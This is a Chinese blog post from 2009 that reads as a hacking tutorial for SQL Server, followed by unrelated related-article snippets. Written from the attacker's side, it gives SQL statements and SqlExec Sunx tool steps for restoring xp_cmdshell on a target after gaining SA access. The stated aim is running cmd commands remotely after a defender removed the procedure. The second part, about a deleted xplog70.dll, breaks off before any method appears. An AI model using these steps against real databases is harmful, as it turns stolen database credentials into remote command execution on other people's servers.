Microsoft SQL Server数据库SA权限总结
作者：Andy 发布时间：2009-01-06 11:32:00
需要准备的工具：
SQL Query Analyzer和SqlExec Sunx Version
第一部分：
去掉xp_cmdshell保护系统的具体分析：
语句如下：
1.去掉xp_cmdshell扩展过程的方法是使用如下语句：
if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
2.添加xp_cmdshell扩展过程的方法是使用如下语句：
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
现在看看现象：
我们在取得SA权限后远程用Sqlexec执行cmd命令，出现提示SQL_ERROR，那么很可能是去掉了xp_cmdshell。
现在来看看被去掉xp_cmdshell后恢复的两种方法：
方法一、使用SQL Query Analyzer连接对方后直接写入，挺方便sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
方法二、使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format选项里填上％s，在CMD选项里输入sp_addextendedproc 'xp_cmdshell','xpsql70.dll'或者对Sql2000情况下使用sp_addextendedproc 'xp_cmdshell','xplog70.dll'另外使用SqlExec Sunx Version来去除xp_cmdshell的方法和加的时候选择条件一样，然后输入sp_dropextendedproc 'xp_cmdshell'就可以了。
第二部分：
假如对方已经把xplog70.dll删除或者改了名，我们来用下面的方法继续我们的hack任务：
当出现如下现象暗示代表很有可能是xplog70.dll删除或者改了名。
在查询分析器中写入sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'提示数据库中已存在名为'xp_cmdshell'的对象。
0
投稿猜你喜欢
本文总结了ASP初学者常犯的几个错误，希望对asp学习者有所帮助！1.记录集关闭之前再次打开:------------------------ 是的，这仅仅是一个PPT文档，由Anna Debenham上传至slideshare。幻灯片的标题叫做《CSS nuggets》，嗯，很好的
- 每个产品诞生的背后都凝结着一位或是多位设计师的心血，在产品的诞生过程中文化、科技、环保、创意等这些方方面面的细节集结成一个绚丽的故事，因为有
- 1.SYS用户具有DBA权限，并且拥有SYS模式，只能通过SYSDBA登陆数据库。是Oracle数据库中权限最高的帐号SYSTEM具有DBA
- 一个不错的网页拾色器也叫调色版，请看截图：当想要更多颜色时点击“其它颜色...”此时将调用系统自带的那个颜色选择框：注意：只有把〈scrip
- 上次帮朋友写过的一个简单切换效果,超级简单,但也比较适用.因为用到了CSS Sprite技术,DEMO中附带了IE6兼容png的JS.核心J
- 阅读上一篇：网马解密大讲堂——网马解密中级篇(Eval篇) 一.Document.write 函数简介：在Microsoft JScript
- 文件名字处理文件名字得看业务要求。不需要保留原始名字，则随机生成名字，拼接上白名单校验过的后缀即可。反之要谨慎处理：//允许上传的后缀白名单
- 内容摘要：asp使用最多的就是ACCESS数据库和ms sql server数据库，本文列出了asp连接这两个数据库的方
- 前两天写了一篇《浅谈网站用户粘性的含义》的文章，有些个别网友问可否谈谈怎么样加强用户粘性的问题？虽然对此本人没有系统的理论做以支撑，但是既然
- 从4年之前什么都不知道，到现在对代码的一网情深，感谢无忧的兄弟姐妹的帮助，感谢无忧给我们提供了这么好的交流平台。现将最近几天捣鼓的asp封装
- 在 ASP（VBScript 为语言）中，Asc 函数的返回值小于 0 的，可以被判断为中文字符。Asc 函数返回与字符串的第一个字母对应的
- 大概在九九年做游戏网站的时候，就对文章的发布感到麻烦，不过那会儿玩ASP不精。只是将就用着。在遇到长文件 10000 字时网页就是一大片长了
- 从本篇开始讲述如何用css实现网页的布局，即如何用css控制网页内各个元素的显示位置。如果你是一个初学者，很可能觉得做一个网页的第一步就是布
- 在异步应用程序中发送和接收信息时，可以选择以纯文本和 XML 作为数据格式。掌握 Ajax 的这一期讨论另一种有用的数据格式 JavaScr
- MacJi “偷懒”翻译了部分，下午冒着被 BOSS 开除的危险将其补完（原文链接）。使用 line-height 垂直居中line-hei
- HTTP-REFERER这个变量已经越来越不可靠了，完全就是可以伪造出来的东东。 以下是伪造方法：ASP/Visual Basic代码 di
- win7 +Navicat Lite 9+ VMware7在VMware中安装openSUSE11.x mysql5 Navicat Lit
- 写在前面的话:此篇还是asp相关的,相信玩ASP的都有这个感觉,当数据有5万多条时-------just like音乐网,要调用最新的10条
- 使用select @@identity 得到刚插入数据的ID1.适用于所有 ADO 版本<％Dim loConn,
